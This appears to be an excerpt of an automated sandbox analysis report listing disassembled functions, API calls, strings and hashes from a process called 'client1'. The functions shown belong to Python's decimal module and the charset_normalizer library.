Instruction ID: 77b1dd3bcfe36c75f767c8ba6533047c4592ebb27d617f78aeb3c0bfeef38f42
Opcode Fuzzy Hash: 27c374245cbc951bbb9664482781b91c9a06e90aa74aacb636386183bdd97e19
Instruction Fuzzy Hash: A7A19FA1A0EA46E1EA278F34D45027B2BE9AF54B95F4441B2DD1E123A1EE3DE447C321

Function 00007FFBAA6F2AE8 Relevance: 47.6, APIs: 16, Strings: 11, Instructions: 374COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA6F2BAF
PyUnicode_AsUTF8AndSize.PYTHON311 ref: 00007FFBAA6F2BDA
PyUnicode_DecodeUTF8.PYTHON311 ref: 00007FFBAA6F2CE1
PyMem_Free.PYTHON311 ref: 00007FFBAA6F2D17
PyMem_Free.PYTHON311 ref: 00007FFBAA6F2D4D
memmove.VCRUNTIME140 ref: 00007FFBAA6F2E39
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F2EF5
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F2F0D
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F2F25
PyErr_SetString.PYTHON311 ref: 00007FFBAA6F2FC2
PyErr_SetString.PYTHON311 ref: 00007FFBAA6F2FED
PyErr_SetString.PYTHON311 ref: 00007FFBAA6F300B
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7115BF

Strings

O|O, xrefs: 00007FFBAA6F2BA8
invalid format string, xrefs: 00007FFBAA6F3001
grouping, xrefs: 00007FFBAA6F2EA9
invalid override dict, xrefs: 00007FFBAA6F2FB8
format specification exceeds internal limits of _decimal, xrefs: 00007FFBAA6F309E
decimal_point, xrefs: 00007FFBAA6F2E65
optional argument must be a dict, xrefs: 00007FFBAA6F307A
thousands_sep, xrefs: 00007FFBAA6F2E87
unexpected error when rounding, xrefs: 00007FFBAA71162C
format arg must be str, xrefs: 00007FFBAA6F2FE3
0, xrefs: 00007FFBAA6F2B72

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Err_String$FreeMem_Unicode_$Arg_ContextDecodeParseSizeTupleVar_memmove
String ID: 0$O|O$decimal_point$format arg must be str$format specification exceeds internal limits of _decimal$grouping$invalid format string$invalid override dict$optional argument must be a dict$thousands_sep$unexpected error when rounding
API String ID: 2652371118-3843118078
Opcode ID: 41669f6f088280e2a45deb123ca613d6ccbc35c48b2e744dfb7242da67ea136d
Instruction ID: 902fc3da756e49e3e1fa3c5c05a2cb700107849dfb0dbac9691dd47a1818dbee
Opcode Fuzzy Hash: 41669f6f088280e2a45deb123ca613d6ccbc35c48b2e744dfb7242da67ea136d
Instruction Fuzzy Hash: 3D0294A1A0AA42C1FA568F39D8501BE67A8FB44B94F141172DE5D176A8DF3CE44BCF20

Function 00007FFBAA709530 Relevance: 47.5, APIs: 18, Strings: 9, Instructions: 247COMMON

Download Yara Rule

APIs

PyLong_AsSsize_t.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA709552
PyLong_AsSsize_t.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA7095BC
PyLong_AsSsize_t.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA7095ED
PyLong_AsSsize_t.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA709618
PyLong_AsSsize_t.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA709644
PyList_Size.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA7096BF
PyList_GetItem.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA7096D9
PyErr_SetString.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA709710
PyList_Size.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA70977B
PyList_GetItem.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA709796
PyErr_SetString.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA7097D1
PyErr_Occurred.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA70982E
PyErr_SetString.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA709861
PyErr_Occurred.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA70987A
PyErr_Occurred.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA7098AF
PyErr_Occurred.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA7098E7
PyErr_Occurred.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA709902

Strings

internal error in context_setround, xrefs: 00007FFBAA715B13
internal error in context_setstatus_list, xrefs: 00007FFBAA715B32
valid values for capitals are 0 or 1, xrefs: 00007FFBAA709850
valid values for signals are: [InvalidOperation, FloatOperation, DivisionByZero, Overflow, Underflow, Subnormal, Inexact, Rounded, Clamped], xrefs: 00007FFBAA709706, 00007FFBAA7097C7
internal error in context_settraps_list, xrefs: 00007FFBAA715B29
valid range for prec is [1, MAX_PREC], xrefs: 00007FFBAA7098F6
valid range for Emax is [0, MAX_EMAX], xrefs: 00007FFBAA709885
valid values for clamp are 0 or 1, xrefs: 00007FFBAA7098BC
valid range for Emin is [MIN_EMIN, 0], xrefs: 00007FFBAA7098A6

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Err_$Long_OccurredSsize_t$List_$String$ItemSize
String ID: internal error in context_setround$internal error in context_setstatus_list$internal error in context_settraps_list$valid range for Emax is [0, MAX_EMAX]$valid range for Emin is [MIN_EMIN, 0]$valid range for prec is [1, MAX_PREC]$valid values for capitals are 0 or 1$valid values for clamp are 0 or 1$valid values for signals are: [InvalidOperation, FloatOperation, DivisionByZero, Overflow, Underflow, Subnormal, Inexact, Rounded, Clamped]
API String ID: 2053550274-3788598963
Opcode ID: 11b1f73e564ec631509256df91c7cfde50a0b1643e7355f9badffc7b3b7e2db2
Instruction ID: e02843792abc577c7d1ea36b8edf1752b81e4fd914bd8799339cdf50655cbbcd
Opcode Fuzzy Hash: 11b1f73e564ec631509256df91c7cfde50a0b1643e7355f9badffc7b3b7e2db2
Instruction Fuzzy Hash: FFB14FA1B0B602D2EA568F35E4402776799BF44BA4F1446B6DD2D563E0DE3EE887C320

Function 00007FFBAB49B060 Relevance: 44.1, APIs: 20, Strings: 5, Instructions: 318COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB4928A0: PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB4928E1
Part of subcall function 00007FFBAB4928A0: PyNumber_Add.PYTHON311 ref: 00007FFBAB49292B
Part of subcall function 00007FFBAB4928A0: _Py_Dealloc.PYTHON311 ref: 00007FFBAB492942
Part of subcall function 00007FFBAB4928A0: _Py_Dealloc.PYTHON311 ref: 00007FFBAB492951

PyObject_VectorcallMethod.PYTHON311 ref: 00007FFBAB49B0C5
PyObject_Vectorcall.PYTHON311 ref: 00007FFBAB49B192
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49B1A4
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49B1E4
PyType_IsSubtype.PYTHON311 ref: 00007FFBAB49B248
PySet_Contains.PYTHON311 ref: 00007FFBAB49B26A
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49B27B
PyObject_Vectorcall.PYTHON311 ref: 00007FFBAB49B2E4
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49B2F7
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49B333
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49B128

Part of subcall function 00007FFBAB4936A0: PyErr_Format.PYTHON311 ref: 00007FFBAB4936D4

_Py_Dealloc.PYTHON311 ref: 00007FFBAB49B5A9

Strings

str, xrefs: 00007FFBAB49B56E
feed, xrefs: 00007FFBAB49B0DA, 00007FFBAB49B15F, 00007FFBAB49B21F, 00007FFBAB49B309, 00007FFBAB49B38B, 00007FFBAB49B414, 00007FFBAB49B487, 00007FFBAB49B514, 00007FFBAB49B580
bool, xrefs: 00007FFBAB49B103, 00007FFBAB49B1BF, 00007FFBAB49B4DE
str or None, xrefs: 00007FFBAB49B357, 00007FFBAB49B3FD
set, xrefs: 00007FFBAB49B252

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Object_Vectorcall$ContainsErr_FormatFromLong_MethodNumber_Set_Ssize_tSubtypeType_
String ID: bool$feed$set$str$str or None
API String ID: 2422131722-82482222
Opcode ID: 5e1e687f1311e2cca4dc8f8691661f7225f9f5edac01d59bea97401bbb47080d
Instruction ID: 6cc998f4e3139c3551e5d2a548001314b8fc9d67a2be30829c97b95ab7e1b20a
Opcode Fuzzy Hash: 5e1e687f1311e2cca4dc8f8691661f7225f9f5edac01d59bea97401bbb47080d
Instruction Fuzzy Hash: C9E15DF1A0BA1385EA229F76E8912BD27A1EF45B94F44C439DE7E077B5DE2DE4408301

Function 00007FFBAB498CA0 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB4928A0: PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB4928E1
Part of subcall function 00007FFBAB4928A0: PyNumber_Add.PYTHON311 ref: 00007FFBAB49292B
Part of subcall function 00007FFBAB4928A0: _Py_Dealloc.PYTHON311 ref: 00007FFBAB492942
Part of subcall function 00007FFBAB4928A0: _Py_Dealloc.PYTHON311 ref: 00007FFBAB492951

PyObject_RichCompare.PYTHON311 ref: 00007FFBAB498CE8
_Py_Dealloc.PYTHON311 ref: 00007FFBAB498CFA
_Py_Dealloc.PYTHON311 ref: 00007FFBAB498D45
PyType_IsSubtype.PYTHON311 ref: 00007FFBAB498D90
PySet_Contains.PYTHON311 ref: 00007FFBAB498DD2
_Py_Dealloc.PYTHON311 ref: 00007FFBAB498DE3
PyObject_Vectorcall.PYTHON311 ref: 00007FFBAB498E31
_Py_Dealloc.PYTHON311 ref: 00007FFBAB498E43
_Py_Dealloc.PYTHON311 ref: 00007FFBAB498E83
PyObject_VectorcallMethod.PYTHON311 ref: 00007FFBAB498EB6
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4990F6

Part of subcall function 00007FFBAB4936A0: PyErr_Format.PYTHON311 ref: 00007FFBAB4936D4

Strings

feed, xrefs: 00007FFBAB498DB1, 00007FFBAB49906A
bool, xrefs: 00007FFBAB498D20, 00007FFBAB498E5E, 00007FFBAB498EDF, 00007FFBAB498F96, 00007FFBAB49902C
set, xrefs: 00007FFBAB498D9A

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Object_$Vectorcall$CompareContainsErr_FormatFromLong_MethodNumber_RichSet_Ssize_tSubtypeType_
String ID: bool$feed$set
API String ID: 588643045-561237756
Opcode ID: ffce80187a2194d36b121a22c23bc03d64daf0a46aa4c609272156cc88328f9b
Instruction ID: df2245f1c8259c7ec688d791951c7b998571d1f9793b18802eab94f6b6a0e2b6
Opcode Fuzzy Hash: ffce80187a2194d36b121a22c23bc03d64daf0a46aa4c609272156cc88328f9b
Instruction Fuzzy Hash: E7C109B1A0BA0381FA629B3AE89527D67A1AF55BC4F48C139DE3D077B5DF2CE4408351

Function 00007FFBAA6FE4E0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAA6FE744

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA6FE596
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAA6FE5B3
PyLong_FromLong.PYTHON311 ref: 00007FFBAA6FE5CA
_PyLong_GCD.PYTHON311 ref: 00007FFBAA6FE633
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6FE65C
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6FE67D
PyTuple_Pack.PYTHON311 ref: 00007FFBAA6FE6A3
_Py_Dealloc.PYTHON311 ref: 00007FFBAA713BB5

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA6FE6FC
PyLong_FromLong.PYTHON311 ref: 00007FFBAA6FE70C
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6FE727
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6FE773

Part of subcall function 00007FFBAA6FEF80: memmove.VCRUNTIME140(?,?,?,00007FFBAA711067), ref: 00007FFBAA6FEFE2

_Py_Dealloc.PYTHON311 ref: 00007FFBAA713BCA
PyErr_NoMemory.PYTHON311 ref: 00007FFBAA713BD0

Strings

cannot convert NaN to integer ratio, xrefs: 00007FFBAA6FE767
cannot convert Infinity to integer ratio, xrefs: 00007FFBAA6FE73A

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Long_$From$Err_Long$ContextMemoryObject_PackSsize_tStringTuple_Var_memmove
String ID: cannot convert Infinity to integer ratio$cannot convert NaN to integer ratio
API String ID: 1408862507-4268672173
Opcode ID: 2468196f3f44b967afc3cb20012d2157185b627e75dc1f7666c23227b6620d06
Instruction ID: d77058fb3c2d1829783cca2daa46c4a1701f6b97ca1f4d4ef0e933b483b0b62b
Opcode Fuzzy Hash: 2468196f3f44b967afc3cb20012d2157185b627e75dc1f7666c23227b6620d06
Instruction Fuzzy Hash: 49817EA1A0BA46C1EA578F39DD1417D6ADCAF45FD5F0814B2CD0E067A0EF2DE44B8720

Function 00007FFBAA70A924 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 222COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,00000000,?,00007FFBAA717546,?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A), ref: 00007FFBAA70AA0C
memmove.VCRUNTIME140(?,00000000,?,00007FFBAA717546,?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A), ref: 00007FFBAA70AA1A
memmove.VCRUNTIME140(?,00000000,?,00007FFBAA717546,?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A), ref: 00007FFBAA70AA28
PyMem_Free.PYTHON311(?,00000000,?,00007FFBAA717546,?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A), ref: 00007FFBAA70AA99
PyMem_Free.PYTHON311(?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A,?,?,00000000,?), ref: 00007FFBAA70AAA7
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,?,00007FFBAA717546,?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A), ref: 00007FFBAA715E87
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A,?,?,00000000,?), ref: 00007FFBAA715EAC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A,?,?,00000000,?), ref: 00007FFBAA715EC4
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A,?,?,00000000,?), ref: 00007FFBAA715ED2
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A,?,?,00000000,?), ref: 00007FFBAA715ED8
memmove.VCRUNTIME140(?,00000000,?,00007FFBAA717546,?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A), ref: 00007FFBAA715F44
memmove.VCRUNTIME140(?,00000000,?,00007FFBAA717546,?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A), ref: 00007FFBAA715F67
memset.VCRUNTIME140(?,00000000,?,00007FFBAA717546,?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A), ref: 00007FFBAA715F85
memmove.VCRUNTIME140(?,00000000,?,00007FFBAA717546,?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A), ref: 00007FFBAA715FD1
PyMem_Free.PYTHON311(?,00000000,?,00007FFBAA717546,?,?,?,?,?,?,00000000,00000000,00000000,?,?,00007FFBAA717D0A), ref: 00007FFBAA716005

Strings

%s:%d: error: , xrefs: 00007FFBAA715E9D
add_size_t(): overflow: check the context, xrefs: 00007FFBAA715EB5
D:\a\1\s\Modules\_decimal\libmpdec\typearith.h, xrefs: 00007FFBAA715E93

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: memmove$FreeMem___acrt_iob_func$abortfputcmemset
String ID: %s:%d: error: $D:\a\1\s\Modules\_decimal\libmpdec\typearith.h$add_size_t(): overflow: check the context
API String ID: 503873940-2766838800
Opcode ID: bfc3c8d07391a6e6435fd712bf0b6596c4b327f7071a65179aed5de038bbeebc
Instruction ID: 7a888d841ef9812b41936bcb24d8a215b4eafd2ae15ae57cb0b3701abd8e31f7
Opcode Fuzzy Hash: bfc3c8d07391a6e6435fd712bf0b6596c4b327f7071a65179aed5de038bbeebc
Instruction Fuzzy Hash: 6271DFD0B0B646D1F9269E32DA153BB5A8D6F44BD0F4480B6DD0D1BBE5EE3CE4478260

Function 00007FFBAB491D10 Relevance: 35.2, APIs: 10, Strings: 10, Instructions: 214stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,?,?,?,?,00007FFBAB492141), ref: 00007FFBAB491DB9

Strings

Invalid format string (| specified twice), xrefs: 00007FFBAB491F2C
Empty keyword parameter name, xrefs: 00007FFBAB491DDC
Empty parameter name after $, xrefs: 00007FFBAB491F35
%, xrefs: 00007FFBAB491D96
Invalid format string (@ without preceding | and $), xrefs: 00007FFBAB491F47
Invalid format string ($ specified twice), xrefs: 00007FFBAB491F3E
More keyword list entries (%d) than format specifiers (%d), xrefs: 00007FFBAB491F75
Invalid format string ($ before |), xrefs: 00007FFBAB491F23
more argument specifiers than keyword list entries (remaining format:'%s'), xrefs: 00007FFBAB491F09
Invalid format string (@ specified twice), xrefs: 00007FFBAB491F50

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: strchr
String ID: %$Empty keyword parameter name$Empty parameter name after $$Invalid format string ($ before |)$Invalid format string ($ specified twice)$Invalid format string (@ specified twice)$Invalid format string (@ without preceding | and $)$Invalid format string (| specified twice)$More keyword list entries (%d) than format specifiers (%d)$more argument specifiers than keyword list entries (remaining format:'%s')
API String ID: 2830005266-262724644
Opcode ID: 874ca092438a5339a713435a94bdedbb5f91fb948e3034079ecccedfb0d9badf
Instruction ID: 640e1ab74408eb7d9846d7da64703752ad65b69110f96aee4f2e456ac0df7cf4
Opcode Fuzzy Hash: 874ca092438a5339a713435a94bdedbb5f91fb948e3034079ecccedfb0d9badf
Instruction Fuzzy Hash: 3F9172B1B0AA4692EF168B35E59013C67E4FB48B94F548139DE6D47BB8DF3CE8519300

Function 00007FFBAB495640 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 204COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB499A76
PyObject_RichCompareBool.PYTHON311 ref: 00007FFBAB499A91
_Py_Dealloc.PYTHON311 ref: 00007FFBAB499AA2
_Py_Dealloc.PYTHON311 ref: 00007FFBAB499AB1
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB499AFA
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB499B1C
PyNumber_TrueDivide.PYTHON311 ref: 00007FFBAB499B34
_Py_Dealloc.PYTHON311 ref: 00007FFBAB499B46
_Py_Dealloc.PYTHON311 ref: 00007FFBAB499B55
PyType_IsSubtype.PYTHON311 ref: 00007FFBAB499B90
PyObject_RichCompare.PYTHON311 ref: 00007FFBAB499BE4
_Py_Dealloc.PYTHON311 ref: 00007FFBAB499C27
_Py_Dealloc.PYTHON311 ref: 00007FFBAB499C69

Part of subcall function 00007FFBAB4936A0: PyErr_Format.PYTHON311 ref: 00007FFBAB4936D4

Part of subcall function 00007FFBAB493710: PyThreadState_Get.PYTHON311 ref: 00007FFBAB493732
Part of subcall function 00007FFBAB493710: PyErr_Fetch.PYTHON311 ref: 00007FFBAB49374A
Part of subcall function 00007FFBAB493710: PyCode_NewEmpty.PYTHON311 ref: 00007FFBAB49375D
Part of subcall function 00007FFBAB493710: PyFrame_New.PYTHON311 ref: 00007FFBAB493777
Part of subcall function 00007FFBAB493710: _Py_Dealloc.PYTHON311 ref: 00007FFBAB49378E
Part of subcall function 00007FFBAB493710: _PyErr_ChainExceptions.PYTHON311 ref: 00007FFBAB4937A3

Strings

float, xrefs: 00007FFBAB499BAA
charset_normalizer.md.UnprintablePlugin, xrefs: 00007FFBAB499CF2
ratio, xrefs: 00007FFBAB499B67, 00007FFBAB499BC1, 00007FFBAB499C3A
__init__, xrefs: 00007FFBAB499C99, 00007FFBAB499D05
bool, xrefs: 00007FFBAB499C02

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Err_FromLong_Ssize_t$CompareObject_Rich$BoolChainCode_DivideEmptyExceptionsFetchFormatFrame_Number_State_SubtypeThreadTrueType_
String ID: __init__$bool$charset_normalizer.md.UnprintablePlugin$float$ratio
API String ID: 101880591-3017791607
Opcode ID: f45d2e226ab84ee4ec68ee4e9d3a8a90ebdaaf3c3f0194e72e8c17f4830e412a
Instruction ID: 718ac35456d2fa6f8a3db53df1ddeba4908628f02aa391f4bc7178058775b711
Opcode Fuzzy Hash: f45d2e226ab84ee4ec68ee4e9d3a8a90ebdaaf3c3f0194e72e8c17f4830e412a
Instruction Fuzzy Hash: 188159A1A0BA4281FB669B36E99427D23A0EF45BA4F08C535DD7E077F5DF2CE4418340

Function 00007FFBAA717844 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 276COMMON

Download Yara Rule

APIs

PyMem_Free.PYTHON311 ref: 00007FFBAA717B26
PyMem_Free.PYTHON311 ref: 00007FFBAA717B34
PyMem_Free.PYTHON311 ref: 00007FFBAA717B5E
PyMem_Free.PYTHON311 ref: 00007FFBAA717B6C
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA717B84
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA717BA9
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA717BC1
fputc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA717BCF
PyMem_Free.PYTHON311 ref: 00007FFBAA717BF9
PyMem_Free.PYTHON311 ref: 00007FFBAA717C07
PyMem_Free.PYTHON311 ref: 00007FFBAA717C20
PyMem_Free.PYTHON311 ref: 00007FFBAA717C2E

Strings

D:\a\1\s\Modules\_decimal\libmpdec\mpdecimal.c, xrefs: 00007FFBAA717B90
%s:%d: warning: , xrefs: 00007FFBAA717B9A
libmpdec: internal error in _mpd_base_ndivmod: please report, xrefs: 00007FFBAA717BB2

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
